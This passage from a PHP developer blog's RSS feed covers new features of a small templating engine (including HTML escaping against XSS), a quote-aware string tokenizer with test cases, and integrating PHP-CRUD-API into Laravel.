</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;line x1=&#34;0&#34; y1=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; x2=&#34;6&#34; y2=&#34;&#39;</span> <span class="o">.</span> <span class="nv">$top</span> <span class="o">.</span> <span class="s1">&#39;&#34; style=&#34;stroke:#000;&#34; /&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;/svg&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$html</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">verticalBar</span><span class="p">([</span><span class="s1">&#39;2018-06&#39;</span><span class="o">=&gt;</span><span class="mi">25134</span><span class="p">,</span><span class="s1">&#39;2018-07&#39;</span><span class="o">=&gt;</span><span class="mi">20356</span><span class="p">,</span><span class="o">...</span><span class="p">],</span> <span class="mi">500</span><span class="p">,</span> <span class="s1">&#39;Unique visitors per month&#39;</span><span class="p">);</span>
</span></span></code></pre></div><p>You may want style it different, but that should not be too hard.</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP templating engine from scratch</title>
      <link>https://www.tqdev.com/2019-php-templating-engine-from-scratch/</link>
      <pubDate>Wed, 01 May 2019 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-php-templating-engine-from-scratch/</guid>
      <description>&lt;p&gt;In a previous post I have introduced
&lt;a href=&#34;https://tqdev.com/2019-php-templating-engine-in-165-lines&#34;&gt;PHP templating in 165 lines of code&lt;/a&gt;
with no dependencies. I have added several features since it&amp;rsquo;s initial release
and the line count has roughly doubled. This post gives you an overview of the
added functionality and explains how to use it.&lt;/p&gt;
&lt;h3 id=&#34;an-if-now-supports-else-and-elseif&#34;&gt;An &amp;lsquo;if&amp;rsquo; now supports &amp;rsquo;else&amp;rsquo; and &amp;rsquo;elseif&amp;rsquo;&lt;/h3&gt;
&lt;p&gt;Conditionals are an essential construct in a template. When you implement them
without &amp;rsquo;else&amp;rsquo; or &amp;rsquo;elseif&amp;rsquo; you get either a lot of repeated conditions and
unnecessary nesting.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a previous post I have introduced
<a href="https://tqdev.com/2019-php-templating-engine-in-165-lines">PHP templating in 165 lines of code</a>
with no dependencies. I have added several features since it&rsquo;s initial release
and the line count has roughly doubled. This post gives you an overview of the
added functionality and explains how to use it.</p>
<h3 id="an-if-now-supports-else-and-elseif">An &lsquo;if&rsquo; now supports &rsquo;else&rsquo; and &rsquo;elseif&rsquo;</h3>
<p>Conditionals are an essential construct in a template. When you implement them
without &rsquo;else&rsquo; or &rsquo;elseif&rsquo; you get either a lot of repeated conditions and
unnecessary nesting.</p>
<pre><code>date: {{if:post.published}}yes{{else}}no{{endif}}
</code></pre>
<p>draft: false</p>
<p>You may also use the &rsquo;elseif&rsquo; statement:</p>
<pre><code>Frequency: 
  {{if:post.frequency|eq(1)}}
    daily
  {{elseif:post.frequency|eq(7)}}
    weekly
  {{else}}
    every {{post.frequency}} days
  {{endif}}
</code></pre>
<p>Note that the &rsquo;else&rsquo; statement is not required.</p>
<h3 id="looping-over-the-keys-of-an-array">Looping over the keys of an array</h3>
<p>While it may be very useful to loop over the elements of an array, you sometimes
have a associative array (or hashmap) and want to loop over the keys. This was
the &lsquo;for&rsquo; syntax:</p>
<pre><code>Roles:
  {{for:role:roles}}
    {{role}}
  {{endfor}}
</code></pre>
<p>Now you may also use this alternative &lsquo;for&rsquo; syntax:</p>
<pre><code>Properties:
  {{for:val:key:properties}}
    {{key}}={{val}}
  {{endfor}}
</code></pre>
<p>As you can see this alternative form of &lsquo;for&rsquo; statement is detected/determined
by the number of parameters of the statement.</p>
<h3 id="html-escaping-to-prevent-xss">HTML escaping to prevent XSS</h3>
<p>Values that are inserted in the template may contain JavaScript and thus open up
a XSS vulnerability (which can be used for session stealing and such). To avoid
XSS, all values that are replaced in the template are escaped. This can be
turned off in case you are generating plain text. This means that:</p>
<pre><code>&lt;a href=&quot;{{url}}&quot;&gt;click here&lt;/a&gt;
</code></pre>
<p>can be used without worrying that a user will insert an &lsquo;onclick&rsquo; event by
letting the variable &lsquo;url&rsquo; contain a closing quote that is interpreted as such.</p>
<h3 id="strings-dont-need-escaping">Strings don&rsquo;t need escaping</h3>
<p>Since we are now using a string-aware split function (see:
<a href="https://tqdev.com/2019-tokenizing-in-php">Split while respecting quotes in PHP</a>)
you do not have to worry that characters between quotes have effects on higher
level split operations. This means that you can write:</p>
<pre><code>{{date|formatDate(&quot;M j, Y&quot;)}}
</code></pre>
<p>without having to worry that the comma is the argument separator for the
&lsquo;formatDate&rsquo; function (and you can use the pipe character in the string).</p>
<h3 id="conclusion">Conclusion</h3>
<p>The Template class has grown a bit (to 320 lines) and gained some valuable
features. It&rsquo;s parsing strategy is not the fastest, but it will do for small to
medium size templates. There are still no dependencies and it should be easily
portable to other languages. You find the source code on Github:</p>
<p><a href="https://github.com/mintyphp/core/blob/v3.2.24/src/Template.php">https://github.com/mintyphp/core/blob/v3.2.24/src/Template.php</a></p>
<p>and the tests:</p>
<p><a href="https://github.com/mintyphp/core/blob/v3.2.24/src/Tests/TemplateTest.php">https://github.com/mintyphp/core/blob/v3.2.24/src/Tests/TemplateTest.php</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Split while respecting quotes in PHP</title>
      <link>https://www.tqdev.com/2019-tokenizing-in-php/</link>
      <pubDate>Sat, 27 Apr 2019 14:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-tokenizing-in-php/</guid>
      <description>&lt;p&gt;The PHP &amp;rsquo;explode&amp;rsquo; function splits a string into an array based on a separator
character (or separator string). This is not enough to build a parser for a
template language on as most languages allow strings to contain any character.
In this post we will show a function that will split while respecting quotes and
one to remove the quotes while allowing for escaped quotes as part of the
string.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The PHP &rsquo;explode&rsquo; function splits a string into an array based on a separator
character (or separator string). This is not enough to build a parser for a
template language on as most languages allow strings to contain any character.
In this post we will show a function that will split while respecting quotes and
one to remove the quotes while allowing for escaped quotes as part of the
string.</p>
<h3 id="the-easy-assignment">The easy assignment</h3>
<p>Write a function or program that can split a string at each non-escaped
occurrence of a separator character.</p>
<p>It should accept three input parameters:</p>
<ul>
<li>The string</li>
<li>The separator character</li>
<li>The escape character</li>
</ul>
<p>It should output a list of strings.
(<a href="https://rosettacode.org/wiki/Tokenize_a_string_with_escaping">source</a>)</p>
<h3 id="test-case">Test case</h3>
<p>The input string:</p>
<pre><code>&quot;one^|uno||three^^^^|four^^^|^cuatro|&quot;
</code></pre>
<p>Should result in an array of 5 strings:</p>
<pre><code>[ &quot;one|uno&quot;, &quot;&quot;, &quot;three^^&quot;, &quot;four^|cuatro&quot;, &quot;&quot; ]
</code></pre>
<p>In this example the &lsquo;^&rsquo; is the escape character and the &lsquo;|&rsquo; is the separator.</p>
<h3 id="the-code">The code</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">token_with_escape</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="nv">$escape</span> <span class="o">=</span> <span class="s1">&#39;^&#39;</span><span class="p">,</span> <span class="nv">$separator</span> <span class="o">=</span> <span class="s1">&#39;|&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$tokens</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$str</span><span class="p">);</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$c</span> <span class="o">=</span> <span class="nv">$str</span><span class="p">[</span><span class="nv">$i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$escaped</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$c</span> <span class="o">==</span> <span class="nv">$escape</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nv">$c</span> <span class="o">==</span> <span class="nv">$separator</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$tokens</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$token</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$token</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$token</span> <span class="o">.=</span> <span class="nv">$c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$token</span> <span class="o">.=</span> <span class="nv">$c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$tokens</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$token</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$tokens</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$input</span> <span class="o">=</span> <span class="s2">&#34;one^|uno||three^^^^|four^^^|^cuatro|&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$output</span> <span class="o">=</span> <span class="nx">token_with_escape</span><span class="p">(</span><span class="nv">$input</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nv">$output</span><span class="p">)</span><span class="o">.</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>And it does in fact output the right string.</p>
<h3 id="the-hard-assignment-complex-templates">The hard assignment (complex templates)</h3>
<p>Write a function or program that can split a string at each occurrence of a
separator character that is not within non-escaped quotes.</p>
<p>It should accept four input parameters:</p>
<ul>
<li>The string</li>
<li>The quote character</li>
<li>The escape character</li>
<li>The separator character</li>
</ul>
<p>It should output a list of strings.</p>
<h3 id="test-case-1">Test case</h3>
<p>You need to avoid splitting within a &lsquo;strings between quotes&rsquo;. So you want:</p>
<pre><code>&quot;'one|uno'||'three^'^''|'four^^^'^cuatro'|&quot;
</code></pre>
<p>to be split into (step 1):</p>
<pre><code>[ &quot;'one|uno'&quot;, &quot;&quot;, &quot;'three^'^''&quot;, &quot;'four^^^'^cuatro'&quot;, &quot;&quot; ]
</code></pre>
<p>and to be parsed into (step 2):</p>
<pre><code>[ &quot;one|uno&quot;, &quot;&quot;, &quot;three''&quot;, &quot;four^'cuatro&quot;, &quot;&quot; ]
</code></pre>
<p>As you can see you never split within a quoted string.</p>
<h3 id="the-code-1">The code</h3>
<p>This function will take care of the first step:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">token_with_quote</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="nv">$quote</span> <span class="o">=</span> <span class="s2">&#34;&#39;&#34;</span><span class="p">,</span> <span class="nv">$escape</span> <span class="o">=</span> <span class="s1">&#39;^&#39;</span><span class="p">,</span> <span class="nv">$separator</span> <span class="o">=</span> <span class="s1">&#39;|&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$tokens</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$quoted</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$seplen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$separator</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$str</span><span class="p">);</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$c</span> <span class="o">=</span> <span class="nv">$str</span><span class="p">[</span><span class="nv">$i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$quoted</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$c</span> <span class="o">==</span> <span class="nv">$quote</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$quoted</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nx">substr</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="nv">$i</span><span class="p">,</span> <span class="nv">$seplen</span><span class="p">)</span> <span class="o">==</span> <span class="nv">$separator</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$tokens</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$token</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$token</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$i</span> <span class="o">+=</span> <span class="nv">$seplen</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$escaped</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nv">$c</span> <span class="o">==</span> <span class="nv">$quote</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$quoted</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nv">$c</span> <span class="o">==</span> <span class="nv">$escape</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$token</span> <span class="o">.=</span> <span class="nv">$c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$tokens</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$token</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$tokens</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$input</span> <span class="o">=</span> <span class="s2">&#34;&#39;one|uno&#39;||&#39;three^&#39;^&#39;&#39;|&#39;four^^^&#39;^cuatro&#39;|&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$output</span> <span class="o">=</span> <span class="nx">token_with_quote</span><span class="p">(</span><span class="nv">$input</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nv">$output</span><span class="p">)</span><span class="o">.</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>This function will take care of the second step:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">token_unquote</span><span class="p">(</span><span class="nv">$arr</span><span class="p">,</span> <span class="nv">$quote</span> <span class="o">=</span> <span class="s2">&#34;&#39;&#34;</span><span class="p">,</span> <span class="nv">$escape</span> <span class="o">=</span> <span class="s1">&#39;^&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nx">count</span><span class="p">(</span><span class="nv">$arr</span><span class="p">);</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$str</span> <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span><span class="nv">$arr</span><span class="p">[</span><span class="nv">$i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">strlen</span><span class="p">(</span><span class="nv">$str</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="nv">$str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$quote</span> <span class="o">&amp;&amp;</span> <span class="nv">$str</span><span class="p">[</span><span class="nx">strlen</span><span class="p">(</span><span class="nv">$str</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$quote</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$token</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$str</span> <span class="o">=</span> <span class="nx">substr</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$str</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="p">(</span><span class="nv">$j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$j</span> <span class="o">&lt;</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$str</span><span class="p">);</span> <span class="nv">$j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$c</span> <span class="o">=</span> <span class="nv">$str</span><span class="p">[</span><span class="nv">$j</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$escaped</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="k">if</span> <span class="p">(</span><span class="nv">$c</span> <span class="o">==</span> <span class="nv">$escape</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$escaped</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$token</span> <span class="o">.=</span> <span class="nv">$c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$arr</span><span class="p">[</span><span class="nv">$i</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$token</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$arr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$input</span> <span class="o">=</span> <span class="s2">&#34;&#39;one|uno&#39;||&#39;three^&#39;^&#39;&#39;|&#39;four^^^&#39;^cuatro&#39;|&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$output</span> <span class="o">=</span> <span class="nx">token_unquote</span><span class="p">(</span><span class="nx">token_with_quote</span><span class="p">(</span><span class="nv">$input</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nv">$output</span><span class="p">)</span><span class="o">.</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>And as expected the output is parsed correctly.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automatic REST API for Laravel</title>
      <link>https://www.tqdev.com/2019-automatic-rest-api-laravel/</link>
      <pubDate>Mon, 22 Apr 2019 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-automatic-rest-api-laravel/</guid>
      <description>&lt;p&gt;This is the third post in a blog series on how to integrate PHP-CRUD-API (a
single PHP file that adds a REST API to your database) into popular PHP web
frameworks. In this post we integrate
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; with Laravel, a PHP
web framework. With 50k Github stars Laravel seems to be more popular than
Symfony (20k stars) and SlimPHP (10k stars), the frameworks we have integrated
with in earlier posts. Integration with these frameworks is possible as they all
adhere to the PHP-FIG&amp;rsquo;s (PHP Framework Interop Group) HTTP standard PSR-7.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>This is the third post in a blog series on how to integrate PHP-CRUD-API (a
single PHP file that adds a REST API to your database) into popular PHP web
frameworks. In this post we integrate
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> with Laravel, a PHP
web framework. With 50k Github stars Laravel seems to be more popular than
Symfony (20k stars) and SlimPHP (10k stars), the frameworks we have integrated
with in earlier posts. Integration with these frameworks is possible as they all
adhere to the PHP-FIG&rsquo;s (PHP Framework Interop Group) HTTP standard PSR-7.</p>
<h3 id="install-laravel">Install Laravel</h3>
<p>You need to run the following commands on your Linux system:</p>
<pre><code>wget https://getcomposer.org/composer.phar
php composer.phar create-project laravel/laravel laravel-crud-api
cd laravel-crud-api/
mv ../composer.phar .
php artisan serve
</code></pre>
<p>Now verify that the installation works by visiting:</p>
<pre><code>http://127.0.0.1:8000
</code></pre>
<p>If you see the Laravel logo page, then your configuration is okay.</p>
<h3 id="install-php-crud-api">Install PHP-CRUD-API</h3>
<p>In order to add the automatic API library you need to run:</p>
<pre><code>php composer.phar require symfony/psr-http-message-bridge
php composer.phar require laminas/laminas-diactoros
php composer.phar require mevdschee/php-crud-api
</code></pre>
<p>Change the &ldquo;<code>routes/api.php</code>&rdquo; to the following content to define our new API
route:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Psr\Http\Message\ServerRequestInterface</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Api</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Tqdev\PhpCrudApi\Config</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">Route</span><span class="o">::</span><span class="na">any</span><span class="p">(</span><span class="s1">&#39;/{any}&#39;</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span><span class="nx">ServerRequestInterface</span> <span class="nv">$request</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$config</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Config</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;username&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;database&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;basePath&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">]);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nv">$api</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Api</span><span class="p">(</span><span class="nv">$config</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$api</span><span class="o">-&gt;</span><span class="na">handle</span><span class="p">(</span><span class="nv">$request</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span><span class="o">-&gt;</span><span class="na">where</span><span class="p">(</span><span class="s1">&#39;any&#39;</span><span class="p">,</span><span class="s1">&#39;.*&#39;</span><span class="p">);</span>
</span></span></code></pre></div><p>Replace the string &ldquo;<code>php-crud-api</code>&rdquo; in the above code to match the username,
password and database of your setup (preferably reading them from environment
variables). You should see your application running at:</p>
<pre><code>http://127.0.0.1:8000/api/records/posts
</code></pre>
<p>Replace &ldquo;<code>posts</code>&rdquo; with the name of any table in your database. If everything
works as expected, then you should see the contents of the table in JSON format.</p>
<h3 id="query-parameters-with-brackets">Query parameters with brackets</h3>
<p>To have prettier URLs, PHP-CRUD-API supports multiple query parameters with the
same name. Laravel does support this. Instead you need to use the (PHP official)
query parameter &ldquo;array&rdquo; syntax that uses brackets &ldquo;<code>[]</code>&rdquo;. So instead of:</p>
<pre><code>/api/records/posts?filter=user_id,eq,1&amp;filter=category_id,eq,2
</code></pre>
<p>you need to make it look a bit less nice with &ldquo;<code>filter</code>&rdquo; replaced by
&ldquo;<code>filter[]</code>&rdquo;:</p>
<pre><code>/api/records/posts?filter[]=user_id,eq,1&amp;filter[]=category_id,eq,2
</code></pre>
<p>Note that this also applies to all other query parameters, so &ldquo;<code>join</code>&rdquo; becomes
&ldquo;<code>join[]</code>&rdquo;.</p>
<h3 id="further-reading">Further reading</h3>
<p>Laravel is often used to build APIs, because it is easy to use, standard
compliant and very popular. PHP-CRUD-API on the other hand saves you a lot of
time, as it offers you a full featured REST API for all tables in your database
without any coding (it uses reflection). Now that you can combine the two you
can have the best of both worlds. For more information about PHP-CRUD-API and
what you can do with it read the Github README at:</p>
